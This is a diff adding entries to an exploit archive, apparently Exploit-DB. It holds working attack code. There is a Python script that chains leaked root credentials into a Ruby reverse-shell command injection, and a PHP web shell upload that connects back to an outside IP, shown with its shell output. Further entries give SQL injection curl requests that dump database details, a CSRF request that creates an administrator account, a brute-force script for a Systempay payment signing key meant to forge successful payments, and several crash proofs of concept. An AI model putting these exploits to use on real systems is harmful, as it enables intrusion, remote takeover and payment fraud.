if dbuser and dbpass and vfspth and jdbc and rootuser and rootpass:
|
||||
return True
|
||||
return False
|
||||
|
||||
def we_can_login(target, password):
|
||||
""" we have bypassed auth at this point by leaking the creds """
|
||||
global sessionid, resttoken
|
||||
d = {
|
||||
"j_username" : rootuser,
|
||||
"j_password" : password,
|
||||
}
|
||||
uri = "https://%s/j_spring_security_check" % target
|
||||
r = requests.post(uri, data=d, verify=False, allow_redirects=False)
|
||||
if "Set-Cookie" in r.headers:
|
||||
match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,3}:.{44});", r.headers["Set-Cookie"])
|
||||
if match:
|
||||
sessionid = match.group(1)
|
||||
resttoken = match.group(2)
|
||||
return True
|
||||
return False
|
||||
|
||||
def pop_a_root_shell(t, ls, lp):
|
||||
""" get dat shell! """
|
||||
handlerthr = Thread(target=handler, args=(lp,))
|
||||
handlerthr.start()
|
||||
uri = "https://%s/rest/fabrics" % t
|
||||
cmdi = "%s\";'`{ruby,-rsocket,-e'c=TCPSocket.new(\"%s\",\"%d\");" % (random_string(), ls, lp)
|
||||
cmdi += "while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print(io.read)}end'}`'\""
|
||||
j = {
|
||||
"name" : cmdi,
|
||||
|
||||
# this is needed to pass validate() on line 149 of the LanFabricImpl class
|
||||
"generalSetting" : {
|
||||
"asn" : "1337",
|
||||
"provisionOption" : "Manual"
|
||||
},
|
||||
"provisionSetting" : {
|
||||
"dhcpSetting": {
|
||||
"primarySubnet" : "127.0.0.1",
|
||||
"primaryDNS" : "127.0.0.1",
|
||||
"secondaryDNS" : "127.0.0.1"
|
||||
},
|
||||
"ldapSetting" : {
|
||||
"server" : "127.0.0.1"
|
||||
},
|
||||
"amqpSetting" : {
|
||||
"server" : "127.0.0.1:1337"
|
||||
}
|
||||
}
|
||||
}
|
||||
c = { "resttoken": resttoken }
|
||||
r = requests.post(uri, json=j, cookies=c, verify=False)
|
||||
if r.status_code == 200 and ls in r.text:
|
||||
return True
|
||||
return False
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 3:
|
||||
print "(+) usage: %s <target> <connectback:port>" % sys.argv[0]
|
||||
print "(+) eg: %s 192.168.100.123 192.168.100.59" % sys.argv[0]
|
||||
print "(+) eg: %s 192.168.100.123 192.168.100.59:1337" % sys.argv[0]
|
||||
sys.exit(1)
|
||||
t = sys.argv[1]
|
||||
cb = sys.argv[2]
|
||||
if not ":" in cb:
|
||||
print "(+) using default connectback port 4444"
|
||||
ls = cb
|
||||
lp = 4444
|
||||
else:
|
||||
if not cb.split(":")[1].isdigit():
|
||||
print "(-) %s is not a port number!" % cb.split(":")[1]
|
||||
sys.exit(-1)
|
||||
ls = cb.split(":")[0]
|
||||
lp = int(cb.split(":")[1])
|
||||
|
||||
# stage 1 - leak the creds
|
||||
if we_can_leak(t):
|
||||
pwd = re.sub(r'[^\x20-\x7F]+','', decrypt(rootpass))
|
||||
print "(+) leaked user: %s" % rootuser
|
||||
print "(+) leaked pass: %s" % pwd
|
||||
print "(+) leaked vfs path: %s" % "/".join(vfspth.split("/")[10:])
|
||||
|
||||
# stage 2 - get a valid sesson
|
||||
if we_can_login(t, pwd):
|
||||
print "(+) created a root session!"
|
||||
|
||||
# stage 3 - get a root shell via cmdi
|
||||
pop_a_root_shell(t, ls, lp)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
11
exploits/linux/dos/48008.txt
Normal file
11
exploits/linux/dos/48008.txt
Normal file
|
@ -0,0 +1,11 @@
|
|||
# Exploit Title: VIM 8.2 - Denial of Service (PoC)
|
||||
# Date: 2019-12-17
|
||||
# Vulnerability: DoS
|
||||
# Vulnerability Discovery: Dhiraj Mishra
|
||||
# Vulnerable Version: VIM - Vi IMproved 8.2 (Included patches: 1-131)
|
||||
# Vendor Homepage: https://www.vim.org/
|
||||
# References:
|
||||
# https://github.com/vim/vim/commit/98a336dd497d3422e7efeef9f24cc9e25aeb8a49
|
||||
# Invalid memory access with search command
|
||||
|
||||
PoC: vim --clean -e -s -c 'exe "norm /\x80PS"'
|
56
exploits/php/webapps/48007.txt
Normal file
56
exploits/php/webapps/48007.txt
Normal file
|
@ -0,0 +1,56 @@
|
|||
# Exploit Title: Online Job Portal 1.0 - 'user_email' SQL Injection
|
||||
# Dork: N/A
|
||||
# Date: 2020-02-06
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html
|
||||
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/jobportal.zip
|
||||
# Version: 1.0
|
||||
# Tested on: Linux
|
||||
# CVE: N/A
|
||||
|
||||
# POC:
|
||||
# 1)
|
||||
#
|
||||
curl -i -s -k -X $'POST' \
|
||||
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 282' -H $'Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
|
||||
-b $'PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' \
|
||||
--data-binary $'user_email=1\'%20aND%20(SeLeCT%201%20FRoM(SeLeCT%20CoUNT(*),CoNCaT((SeLeCT%20(eLT(2=2,1))),CoNCaT_WS(0x203a20,USeR(),DaTaBaSe(),veRSIoN()),FLooR(RaND(0)*2))x%20FRoM%20INFoRMaTIoN_SCHeMa.PLUGINS%20GRoUP%20BY%20x)a)--%20VerAyari&user_pass=0x5665724179617269&btnLogin=0x5665724179617269' \
|
||||
$'http://localhost/[PATH]/admin/login.php'
|
||||
#
|
||||
HTTP/1.1 200 OK
|
||||
Date: Wed, 05 Feb 2020 19:18:45 GMT
|
||||
Server: Apache/2.4.38 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
|
||||
X-Powered-By: PHP/5.6.40
|
||||
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||||
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
||||
Pragma: no-cache
|
||||
Content-Length: 3251
|
||||
Connection: close
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
.............
|
||||
<!-- /.login-box -->
|
||||
Failed to get query handle: SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '1root@localhost : exploitdb : 10.1.38-MariaDB1' for key 'group_key'
|
||||
#
|
||||
|
||||
# POC:
|
||||
# 2)
|
||||
#
|
||||
curl -i -s -k -X $'POST' \
|
||||
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 237' -H $'Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
|
||||
-b $'PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' \
|
||||
--data-binary $'USERNAME=1\'%20aND%20(SeLeCT%201%20FRoM(SeLeCT%20CoUNT(*),CoNCaT((SeLeCT%20(eLT(2=2,1))),CoNCaT_WS(0x203a20,USeR(),DaTaBaSe(),veRSIoN()),FLooR(RaND(0)*2))x%20FRoM%20INFoRMaTIoN_SCHeMa.PLUGINS%20GRoUP%20BY%20x)a)--%20verayari&PASS=VerAyari' \
|
||||
$'http://localhost/[PATH]/process.php?action=login'
|
||||
#
|
||||
HTTP/1.1 200 OK
|
||||
Date: Wed, 05 Feb 2020 19:17:19 GMT
|
||||
Server: Apache/2.4.38 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
|
||||
X-Powered-By: PHP/5.6.40
|
||||
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||||
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
||||
Pragma: no-cache
|
||||
Content-Length: 167
|
||||
Connection: close
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
Failed to get query handle: SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '1root@localhost : exploitdb : 10.1.38-MariaDB1' for key 'group_key'
|
||||
#
|
33
exploits/php/webapps/48012.txt
Normal file
33
exploits/php/webapps/48012.txt
Normal file
|
@ -0,0 +1,33 @@
|
|||
# Exploit Title: Online Job Portal 1.0 - Remote Code Execution
|
||||
# Dork: N/A
|
||||
# Date: 2020-02-06
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html
|
||||
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/jobportal.zip
|
||||
# Version: 1.0
|
||||
# Tested on: Linux
|
||||
# CVE: N/A
|
||||
|
||||
# POC:
|
||||
# 1)
|
||||
#
|
||||
curl -i -s -k -X $'POST' \
|
||||
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------1852293616672951051689730436' -H $'Content-Length: 781' -H $'Referer: http://localhost/[PATH]/admin/user/index.php?view=view' -H $'Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
|
||||
-b $'PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' \
|
||||
--data-binary $'-----------------------------1852293616672951051689730436\x0d\x0aContent-Disposition: form-data; name=\"mealid\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------1852293616672951051689730436\x0d\x0aContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\x0d\x0a\x0d\x0a1000000\x0d\x0a-----------------------------1852293616672951051689730436\x0d\x0aContent-Disposition: form-data; name=\"photo\"; filename=\"exp.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0aGIF89c;\x0d\x0a<?php $sock = fsockopen(\'192.168.1.104\',6666);\x0d\x0a$descriptorspec = array(\x0d\x0a0 => $sock,\x0d\x0a1 => $sock,\x0d\x0a2 => $sock\x0d\x0a);\x0d\x0a\x0d\x0a$process = proc_open(\'/bin/sh\', $descriptorspec, $pipes);\x0d\x0aproc_close($process);?>\x0d\x0a\x0d\x0a-----------------------------1852293616672951051689730436\x0d\x0aContent-Disposition: form-data; name=\"savephoto\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------1852293616672951051689730436--\x0d\x0a' \
|
||||
$'http://localhost/[PATH]/admin/user/controller.php?action=photos'
|
||||
#
|
||||
curl -i -s -k -X $'GET' \
|
||||
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
|
||||
-b $'PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4' \
|
||||
$'http://localhost/[PATH]/admin/user/photos/exp.php'
|
||||
#
|
||||
root@ihsan:~/ExploitDB# nc -nlvp 6666
|
||||
Ncat: Version 7.80 ( https://nmap.org/ncat )
|
||||
Ncat: Listening on :::6666
|
||||
Ncat: Listening on 0.0.0.0:6666
|
||||
Ncat: Connection from 192.168.1.104.
|
||||
Ncat: Connection from 192.168.1.104:35574.
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
#
|
49
exploits/php/webapps/48016.txt
Normal file
49
exploits/php/webapps/48016.txt
Normal file
|
@ -0,0 +1,49 @@
|
|||
# Exploit Title: Online Job Portal 1.0 - Cross Site Request Forgery (Add User)
|
||||
# Dork: N/A
|
||||
# Date: 2020-02-06
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html
|
||||
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/jobportal.zip
|
||||
# Version: 1.0
|
||||
# Tested on: Linux
|
||||
# CVE: N/A
|
||||
|
||||
# POC:
|
||||
# 1)
|
||||
# Add User..
|
||||
#
|
||||
POST /admin/user/controller.php?action=add HTTP/1.1
|
||||
Host: localhost
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 106
|
||||
Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
user_id=1&deptid=&U_NAME=hacker&deptid=&U_USERNAME=hacker&deptid=&U_PASS=hacker&U_ROLE=Administrator&save=
|
||||
#
|
||||
|
||||
# POC:
|
||||
# 2)
|
||||
# Edit User..
|
||||
#
|
||||
POST /admin/user/controller.php?action=edit HTTP/1.1
|
||||
Host: localhost
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 121
|
||||
Cookie: PHPSESSID=8aftj770keh6dlgj5sd4a1t5i4
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
user_id=1&deptid=&U_NAME=hacker_edit&deptid=&U_USERNAME=hacker_edit&deptid=&U_PASS=hacker_edit&U_ROLE=Administrator&save=
|
||||
#
|
98
exploits/php/webapps/48017.php
Normal file
98
exploits/php/webapps/48017.php
Normal file
|
@ -0,0 +1,98 @@
|
|||
# Exploit Title: Ecommerce Systempay 1.0 - Production KEY Brute Force
|
||||
# Author: live3
|
||||
# Date: 2020-02-05
|
||||
# Vendor Homepage: https://paiement.systempay.fr/doc/fr-FR/
|
||||
# Software Link: https://paiement.systempay.fr/doc/fr-FR/module-de-paiement-gratuit/
|
||||
# Tested on: MacOs
|
||||
# Version: ALL
|
||||
|
||||
<?php
|
||||
/**
|
||||
*
|
||||
* INFORMATION
|
||||
* Exploit Title: Ecommerce Systempay decode secret production KEY / Brute Force
|
||||
* Author: live3
|
||||
* Date: 2020-02-05
|
||||
* Vendor Homepage: https://paiement.systempay.fr/doc/fr-FR/
|
||||
* Tested on: MacOs
|
||||
* Version: ALL
|
||||
* Prerequisite: Find a ecommerce who is using Systempay AND SHA1 to crypt signature.
|
||||
* Put some product on cart and choose systempay for payment method.
|
||||
* get all data from post sent to https://paiement.systempay.fr/vads-payment/
|
||||
* keep signature as reference and all vads fields to create new signature.
|
||||
* Use script to make a brute force on Secret product key (16 char length)
|
||||
*
|
||||
* Usage: Once you have the production KEY all modifications on form data will be accepted by systempay ! (You will just generate new signature with your changes)
|
||||
* You will be able to generate a success payment return !
|
||||
*
|
||||
* FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES.
|
||||
* THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.
|
||||
*
|
||||
*/
|
||||
|
||||
// Set the start number you want (16 char length)
|
||||
$last_key_check = '1000000000000000';
|
||||
|
||||
// Assign var
|
||||
$array_key = array();
|
||||
$sentence = '';
|
||||
$how_many_key_to_check_for_loop = 10;
|
||||
|
||||
// Put here signature extract from POST DATA
|
||||
// Example of SHA1 from string : test
|
||||
$signature_from_post = 'a94a8fe5ccb19ba61c4c0873d391e987982fbbd3';
|
||||
|
||||
// Copy paste your content decoded of POST DATA
|
||||
$form_data = '
|
||||
vads_field_1: VALUE1
|
||||
vads_field_2: VALUE2
|
||||
// AND ALL OTHER FIELDS...
|
||||
';
|
||||
|
||||
$array = explode(PHP_EOL, $form_data);
|
||||
|
||||
foreach ($array as $data) {
|
||||
if ($data != '') {
|
||||
$elements = explode(': ', $data);
|
||||
if (!empty($elements)) {
|
||||
$array_key[trim($elements[0])] = $elements[1];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ksort($array_key);
|
||||
|
||||
foreach ($array_key as $value) {
|
||||
$sentence .= $value . '+';
|
||||
}
|
||||
|
||||
|
||||
echo 'Signature from POST DATA : '.$signature_from_post.'<br/>';
|
||||
|
||||
$found = false;
|
||||
$get_key = '';
|
||||
|
||||
// first check
|
||||
if (sha1($sentence.$last_key_check) != $signature_from_post) {
|
||||
for ($i = $last_key_check; $i <= $last_key_check+$how_many_key_to_check_for_loop; $i++) {
|
||||
$get_key = $i;
|
||||
if (sha1($sentence.$i) == $signature_from_post) {
|
||||
echo 'Key found : '.$i.'<br/>';
|
||||
$found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
$found = true;
|
||||
}
|
||||
|
||||
|
||||
if ($found) {
|
||||
$test_sha = sha1($sentence.$get_key);
|
||||
echo 'Signature calc : '.$test_sha.'<br/><hr/>';
|
||||
} else {
|
||||
echo 'Last key check : '.$get_key.'<br/><hr/>';
|
||||
}
|
||||
|
||||
|
||||
echo 'Your sequence : '.$sentence.'<br/>';
|
22
exploits/windows/dos/48005.py
Executable file
22
exploits/windows/dos/48005.py
Executable file
|
@ -0,0 +1,22 @@
|
|||
# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC)
|
||||
# Discovery by: chuyreds
|
||||
# Discovery Date: 2020-02-05
|
||||
# Vendor Homepage: https://www.celestialsoftware.net/
|
||||
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
|
||||
# Tested Version: 11.12
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
#Steps to produce the crash:
|
||||
#1.- Run python code: AbsoluteTelent 11.12_license_code.py
|
||||
#2.- Open AbsoluteTelent_license_code.txt and copy content to clipboard
|
||||
#3.- Open AbsoluteTelnet.exe
|
||||
#4.- Select "Help" > "Enter License Key"
|
||||
#5.- In "License code" paste Clipboard
|
||||
#6.- Crashed
|
||||
|
||||
cod = "\x41" * 2500
|
||||
|
||||
f = open('AbsoluteTelent_license_code.txt', 'w')
|
||||
f.write(cod)
|
||||
f.close()
|
23
exploits/windows/dos/48006.py
Executable file
23
exploits/windows/dos/48006.py
Executable file
|
@ -0,0 +1,23 @@
|
|||
# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC)
|
||||
# Discovery by: chuyreds
|
||||
# Discovery Date: 2020-02-05
|
||||
# Vendor Homepage: https://www.celestialsoftware.net/
|
||||
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
|
||||
# Tested Version: 11.12
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
|
||||
#Steps to produce the crash:
|
||||
#1.- Run python code: AbsoluteTelent 11.12_license_name.py
|
||||
#2.- Open AbsoluteTelent_license_name.txt and copy content to clipboard
|
||||
#3.- Open AbsoluteTelnet.exe
|
||||
#4.- Select "Help" > "Enter License Key"
|
||||
#5.- In "License Name" paste Clipboard
|
||||
#6.- Crashed
|
||||
|
||||
cod = "\x41" * 2500
|
||||
|
||||
f = open('AbsoluteTelent_license_name.txt', 'w')
|
||||
f.write(cod)
|
||||
f.close()
|
22
exploits/windows/dos/48010.py
Executable file
22
exploits/windows/dos/48010.py
Executable file
|
@ -0,0 +1,22 @@
|
|||
# Exploit Title: AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)
|
||||
# Discovery by: chuyreds
|
||||
# Discovery Date: 2020-02-05
|
||||
# Vendor Homepage: https://www.celestialsoftware.net/
|
||||
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
|
||||
# Tested Version: 11.12
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
#Steps to produce the crash:
|
||||
#1.- Run python code: AbsoluteTelnet 11.12_username_ssh2.py
|
||||
#2.- Open absolutetelnet_username_SSH2.txtabsolutetelnet_username.txt and copy content to clipboard
|
||||
#3.- Open AbsoluteTelnet
|
||||
#4.- Select "new connection file", "Connection", "SSH2", "Use last username"
|
||||
#5.- In "username" field paste Clipboard
|
||||
#6.- Select "OK"
|
||||
#7.- Crashed
|
||||
|
||||
buffer = "\x41" * 1000
|
||||
f = open ("absolutetelnet_username_SSH2.txt", "w")
|
||||
f.write(buffer)
|
||||
f.close()
|
24
exploits/windows/dos/48011.py
Executable file
24
exploits/windows/dos/48011.py
Executable file
|
@ -0,0 +1,24 @@
|
|||
# Exploit Title: TapinRadio 2.12.3 - 'address' Denial of Service (PoC)
|
||||
# Discovery by: chuyreds
|
||||
# Discovery Date: 2020-02-05
|
||||
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
|
||||
# Software Link : http://www.raimersoft.com/downloads/tapinradio_setup_x64.exe
|
||||
# Tested Version: 2.12.3
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
#Steps to produce the crash:
|
||||
#1.- Run python code: tapinadio_address.py
|
||||
#2.- Open tapin_add.txt and copy content to clipboard
|
||||
#3.- Open TapinRadio
|
||||
#4.- Select "Settings" > "Preferences" > "Miscellaneous"
|
||||
#5.- Select "Set Application Proxy..."" In "Address" field paste Clipboard
|
||||
#6.- In Port type "444" > "Username" type "test" > Password type "1234"
|
||||
#7.- Select "OK" and "OK"
|
||||
#8.- Crashed
|
||||
|
||||
cod = "\x41" * 3000
|
||||
|
||||
f = open('tapin_add.txt', 'w')
|
||||
f.write(cod)
|
||||
f.close()
|
24
exploits/windows/dos/48013.py
Executable file
24
exploits/windows/dos/48013.py
Executable file
|
@ -0,0 +1,24 @@
|
|||
# Exploit Title: TapinRadio 2.12.3 - 'username' Denial of Service (PoC)
|
||||
# Discovery by: chuyreds
|
||||
# Discovery Date: 2020-02-05
|
||||
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
|
||||
# Software Link : http://www.raimersoft.com/downloads/tapinradio_setup_x64.exe
|
||||
# Tested Version: 2.12.3
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
#Steps to produce the crash:
|
||||
#1.- Run python code: tapinadio_user.py
|
||||
#2.- Open tapin_user.txt and copy content to clipboard
|
||||
#3.- Open TapinRadio
|
||||
#4.- Select "Settings" > "Preferences" > "Miscellaneous"
|
||||
#5.- Select "Set Application Proxy..."" In "Username" field paste Clipboard
|
||||
#6.- In Server type "1.1.1.1" > Port type 444 > Password type "1234"
|
||||
#7.- Select "OK" and "OK"
|
||||
#8.- Crashed
|
||||
|
||||
cod = "\x41" * 10000
|
||||
|
||||
f = open('tapin_user.txt', 'w')
|
||||
f.write(cod)
|
||||
f.close()
|
21
exploits/windows/dos/48014.py
Executable file
21
exploits/windows/dos/48014.py
Executable file
|
@ -0,0 +1,21 @@
|
|||
# Exploit Title: RarmaRadio 2.72.4 - 'username' Denial of Service (PoC)
|
||||
# Discovery by: chuyreds
|
||||
# Discovery Date: 2020-02-05
|
||||
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
|
||||
# Software Link : http://www.raimersoft.com/downloads/rarmaradio_setup.exe
|
||||
# Tested Version: 2.72.4
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
#Steps to produce the crash:
|
||||
#1.- Run python code: rarmaradio_username.py
|
||||
#2.- Open RarmaRadio2.72.4_username.txt and copy content to clipboard
|
||||
#3.- Open RarmaRadio
|
||||
#4.- Select "Edit" > "Settings" > "Network"
|
||||
#5.- In "Username" field paste Clipboard
|
||||
#6.- Select "OK"
|
||||
#7.- Crashed
|
||||
buffer = "\x41" * 5000
|
||||
f = open ("RarmaRadio2.72.4_username.txt", "w")
|
||||
f.write(buffer)
|
||||
f.close()
|
22
exploits/windows/dos/48015.py
Executable file
22
exploits/windows/dos/48015.py
Executable file
|
@ -0,0 +1,22 @@
|
|||
# Exploit Title: RarmaRadio 2.72.4 - 'server' Denial of Service (PoC)
|
||||
# Discovery by: chuyreds
|
||||
# Discovery Date: 05-02-2020
|
||||
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
|
||||
# Software Link : http://www.raimersoft.com/downloads/rarmaradio_setup.exe
|
||||
# Tested Version: 2.72.4
|
||||
# Vulnerability Type: Denial of Service (DoS) Local
|
||||
# Tested on OS: Windows 10 Pro x64 es
|
||||
|
||||
# Steps to produce the crash:
|
||||
#1.- Run python code: RarmaRadio2.72.4_server.py
|
||||
#2.- Open RarmaRadio2.72.4_server.txt and copy content to clipboard
|
||||
#3.- Open RarmaRadio
|
||||
#4.- Select "Edit" > "Settings" > "Network"
|
||||
#5.- In "Server" field paste Clipboard
|
||||
#6.- Select "OK"
|
||||
#7.- Crashed
|
||||
|
||||
buffer = "\x41" * 4000
|
||||
f = open ("RarmaRadio2.72.4_server.txt", "w")
|
||||
f.write(buffer)
|
||||
f.close()
|
25
exploits/windows/local/48009.txt
Normal file
25
exploits/windows/local/48009.txt
Normal file
|
@ -0,0 +1,25 @@
|
|||
#Exploit Title: ELAN Smart-Pad 11.10.15.1 - 'ETDService' Unquoted Service Path
|
||||
#Exploit Author : ZwX
|
||||
#Exploit Date: 2020-02-05
|
||||
#Vendor : ELAN Microelectronics
|
||||
#Vendor Homepage : http://www.emc.com.tw/
|
||||
#Tested on OS: Windows 10 v1803
|
||||
|
||||
|
||||
#Analyze PoC :
|
||||
==============
|
||||
|
||||
|
||||
C:\Users\ZwX>sc qc ETDService
|
||||
[SC] QueryServiceConfig réussite(s)
|
||||
|
||||
SERVICE_NAME: ETDService
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 2 AUTO_START
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files\Elantech\ETDService.exe
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : Elan Service
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
|
@ -6666,6 +6666,14 @@ id,file,description,date,author,type,platform,port
|
|||
47970,exploits/multiple/dos/47970.txt,"macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image",2020-01-28,"Google Security Research",dos,multiple,
|
||||
47987,exploits/linux/dos/47987.cs,"BearFTP 0.1.0 - 'PASV' Denial of Service",2020-02-03,kolya5544,dos,linux,
|
||||
47993,exploits/ios/dos/47993.py,"P2PWIFICAM2 for iOS 10.4.1 - 'Camera ID' Denial of Service (PoC)",2020-02-03,"Ivan Marmolejo",dos,ios,
|
||||
48005,exploits/windows/dos/48005.py,"AbsoluteTelnet 11.12 - _license name_ Denial of Service (PoC)",2020-02-06,chuyreds,dos,windows,
|
||||
48006,exploits/windows/dos/48006.py,"AbsoluteTelnet 11.12 - 'license name' Denial of Service (PoC)",2020-02-06,chuyreds,dos,windows,
|
||||
48008,exploits/linux/dos/48008.txt,"VIM 8.2 - Denial of Service (PoC)",2020-02-06,"Dhiraj Mishra",dos,linux,
|
||||
48010,exploits/windows/dos/48010.py,"AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)",2020-02-06,chuyreds,dos,windows,
|
||||
48011,exploits/windows/dos/48011.py,"TapinRadio 2.12.3 - 'address' Denial of Service (PoC)",2020-02-06,chuyreds,dos,windows,
|
||||
48013,exploits/windows/dos/48013.py,"TapinRadio 2.12.3 - 'username' Denial of Service (PoC)",2020-02-06,chuyreds,dos,windows,
|
||||
48014,exploits/windows/dos/48014.py,"RarmaRadio 2.72.4 - 'username' Denial of Service (PoC)",2020-02-06,chuyreds,dos,windows,
|
||||
48015,exploits/windows/dos/48015.py,"RarmaRadio 2.72.4 - 'server' Denial of Service (PoC)",2020-02-06,chuyreds,dos,windows,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
